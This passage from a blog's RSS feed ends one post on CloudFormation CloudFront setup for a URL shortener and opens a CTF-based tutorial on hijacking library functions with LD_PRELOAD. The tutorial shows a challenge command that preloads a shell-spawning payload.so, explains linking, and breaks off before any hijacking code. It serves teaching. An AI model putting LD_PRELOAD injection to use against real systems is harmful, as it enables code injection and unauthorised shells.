&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ViewerProtocolPolicy&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;redirect-to-https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;PathPattern&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;/api/?*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          TargetOriginId&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;APIOrigin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ForwardedValues&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            QueryString&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            Headers&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Accept&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Referer&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Authorization&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Content-Type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            Cookies&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;              Forward&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;none&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ViewerProtocolPolicy&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;redirect-to-https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          AllowedMethods&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;DELETE&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;GET&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;HEAD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;OPTIONS&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;PATCH&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;POST&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;PUT&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          MinTTL&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          DefaultTTL&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;PathPattern&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;/?*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          TargetOriginId&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;APIOrigin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ForwardedValues&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            QueryString&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            Headers&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Accept&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Referer&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Authorization&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Content-Type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            Cookies&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;              Forward&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;none&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ViewerProtocolPolicy&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;redirect-to-https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          AllowedMethods&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;DELETE&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;GET&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;HEAD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;OPTIONS&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;PATCH&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;POST&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;PUT&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          MinTTL&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          DefaultTTL&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      ViewerCertificate&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        AcmCertificateArn&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;arn:aws:acm:us-east-1:680499645329:certificate/6fbcfddc-3351-47fc-9ebe-f3d88abc444f&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        SslSupportMethod&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;sni-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        MinimumProtocolVersion&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;TLSv1.2_2018&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      PriceClass&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;PriceClass_100&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In short, I declared two &lt;code&gt;Origins&lt;/code&gt;, one for the API, and another for the S3 static site. And then added the proper &lt;code&gt;CacheBehaviors&lt;/code&gt;. There are some nuances that you have to get exactly right, otherwise it wouldn’t just work. I wouldn’t go through all of them here; but if you’re trying to replicate my setup, make sure you got all the parameters in the Cloudformation template correctly, even the seemingly trivial ones. I’ll list the ones I had trouble with&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The S3 static website origin must have its &lt;code&gt;OriginProtocolPolicy&lt;/code&gt; set to &lt;code&gt;http-only&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For the API origin, pay attention to &lt;code&gt;ForwardedValues&lt;/code&gt;, &lt;code&gt;AllowedMethods&lt;/code&gt;, &lt;code&gt;MinTTL&lt;/code&gt; and &lt;code&gt;DefaultTTL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Make sure you got the order of the &lt;code&gt;CacheBehaviors&lt;/code&gt; correct, the ones you declare first will have greater priority over the others—AWS starts matching the &lt;code&gt;PathPattern&lt;/code&gt; from the top, as soon as it finds a match it directs the request to that. A rule of thumb is, the more specific a &lt;code&gt;PathPattern&lt;/code&gt; is, the higher up it should be.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;adding-a-custom-domain&quot;&gt;Adding a Custom Domain&lt;/h3&gt;
&lt;p&gt;Adding a custom domain requires some manual steps. You have to go to AWS Certificate Manager and create a certificate for your domain. Make sure it’s in the &lt;code&gt;us-east-1&lt;/code&gt; region, otherwise you wouldn’t be able to use it with Cloudfront. Once you have created and verified your certificate, add the &lt;code&gt;ViewerCertificate&lt;/code&gt; and &lt;code&gt;Aliases&lt;/code&gt; parameters to the Cloudfront resource. The last step would be adding a &lt;code&gt;CNAME&lt;/code&gt; or &lt;code&gt;ALIAS&lt;/code&gt; record in your domain registrar, binding your custom domain with your Cloudfront distribution domain.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The final website is hosted @ &lt;a href=&quot;https://shorty.skghosh.me&quot;&gt;https://shorty.skghosh.me&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The API documentation is available @ &lt;a href=&quot;https://shorty.skghosh.me/swagger&quot;&gt;https://shorty.skghosh.me/swagger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The source is available @ &lt;a href=&quot;https://github.com/SkullTech/shorty.sls&quot;&gt;Github&lt;/a&gt;. Please star it if you find it useful, and feel free to fork, make an issue, send a pull request, all of that.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This was a exciting learning exercise for me, so I couldn’t wait to share it with everyone. I hope the post helps you too, in whatever way it can. Make sure to leave a comment if you have any feedback or question, I’ll try my best to get back to you.&lt;/p&gt;
</content:encoded></item><item><title>Hijacking Library Functions and Injecting Code Using the Dynamic Linker</title><link>https://sumit-ghosh.com/posts/hijacking-library-functions-code-injection-ld-preload/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/hijacking-library-functions-code-injection-ld-preload/</guid><description>Hijacking Library Functions and Injecting Code Using the Dynamic Linker — by Sumit Ghosh.</description><pubDate>Sat, 09 May 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently I learned about a neat little trick that lets you inject arbitrary code into a program, and lets you alter the behavior of the program to some extent. And all it uses is some custom C code and an innocent-looking environment variable. So yeah, in this post, we’re going to see what it is. I learned this while solving a CTF challenge, so let’s start with that in context.&lt;/p&gt;
&lt;h3 id=&quot;the-challenge&quot;&gt;The challenge&lt;/h3&gt;
&lt;p&gt;Create a shared object which spawns a shell using &lt;code&gt;execve&lt;/code&gt; when used like;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ LD_PRELOAD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;./payload.so&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; /bin/true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The original challenge was a bit more involved than this, I’ve trimmed it down to the part that’s relevant to the topic of this article. Before solving this hands-on, we need to brush up on some background knowledge.&lt;/p&gt;
&lt;h2 id=&quot;linking-101--static-vs-dynamic&quot;&gt;Linking 101 :: Static vs. dynamic&lt;/h2&gt;
&lt;p&gt;In this section, I’ll try to briefly explain the compilation process and the difference between static linking and dynamic linking. I’m doing this just because it’s directly relevant to the main content of this post, but I must state that I’m not an expert on this. The explanation will likely be an oversimplification almost to the point of being incorrect, but I’m hoping that for now it’ll work as an introduction for the complete beginner. If you already know all this stuff, skip this section. Now that we have that out of the way, let’s see if I can do this.&lt;/p&gt;
&lt;p&gt;We all know what libraries are, right? Libraries are reusable code that we just &lt;code&gt;import&lt;/code&gt; or &lt;code&gt;include&lt;/code&gt; in our program and use directly. Regardless of experience or competence, all programmers use libraries; they are an inseparable part of the programming process. The usual reasons being&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Not reinventing the wheel.&lt;/li&gt;
&lt;li&gt;Keeping the source code modular, and thus readable, sane, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;the-compilation-process&quot;&gt;The compilation process&lt;/h3&gt;
&lt;p&gt;Now, let’s look at the compilation process. First, the compiler &lt;em&gt;compiles&lt;/em&gt; your &lt;em&gt;source code&lt;/em&gt; into &lt;em&gt;object&lt;/em&gt; files. And then &lt;em&gt;linker&lt;/em&gt; combines the object files and any libraries that you might need, and creates the final &lt;em&gt;executable&lt;/em&gt;. This way, the final executable has all the &lt;em&gt;library functions&lt;/em&gt; it needs.&lt;/p&gt;
&lt;p&gt;So, to reiterate, &lt;em&gt;linking&lt;/em&gt; usually means creating an executable, from combining object files and libraries.&lt;/p&gt;
&lt;p&gt;Linking can be of two types, static and dynamic.&lt;/p&gt;
&lt;h3 id=&quot;static-linking&quot;&gt;Static linking&lt;/h3&gt;
&lt;p&gt;Static linking creates an executable that has everything it needs at runtime in itself. When you statically link your compiled object files and libraries, they get embedded in a single file—the final executable. Obviously, this will create a larger executable, but the upside is that you won’t have to depend on the runtime environment.&lt;/p&gt;
&lt;h3 id=&quot;dynamic-linking&quot;&gt;Dynamic linking&lt;/h3&gt;
&lt;p&gt;Dynamic linking does not embed the libraries in the executable; rather, it just leaves a reference mentioning that it needs those library functions at runtime. When the executable is run, another program called &lt;em&gt;the dynamic linker&lt;/em&gt; makes sure that those library functions are present in memory, and if they are not, it loads them into memory. All in all, the dynamic linker makes sure that the library functions needed by the executable are present at runtime. There can be confusion of terminology here: the dynamic linker is not the same as the linker; the former is a part of the OS, the latter is used as a part of the compilation process.&lt;/p&gt;
&lt;p&gt;In this way, the libraries are genuinely “shared” between different programs at runtime, and the OS doesn’t have to load multiple copies of the same core libraries. That means the available RAM is efficiently utilized. It also reduces the size of the executables and consequently, space on the secondary storage.&lt;/p&gt;
&lt;h2 id=&quot;hijacking-library-functions&quot;&gt;Hijacking library functions&lt;/h2&gt;
&lt;p&gt;Now we’re getting into the meat of the discussion. We know what the dynamic linker does in general. But there is a particular behavior of it that we’re going to exploit: The dynamic linker loads any libraries mentioned in the &lt;code&gt;LD_PRELOAD&lt;/code&gt; environment variable before loading any other libraries. That means, in a way the libraries in &lt;code&gt;LD_PRELOAD&lt;/code&gt; gets the most priority. This gives possibility of hijacking library calls made from &lt;em&gt;any&lt;/em&gt; program, you just have to write an alternate implementation of the library function and mention the shared object file in &lt;code&gt;LD_PRELOAD&lt;/code&gt;. Let’s explore this concept using an example.&lt;/p&gt;
&lt;p&gt;Let’s create a simple application which we’re going to hijack.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;c&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &amp;lt;time.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; argc&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;    srand&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;    printf&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;%d\n&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;rand&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s a straightforward program; it generates a random integer and prints it to the screen.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ gcc random.c -o random&lt;/span&gt;&lt;/span&gt;
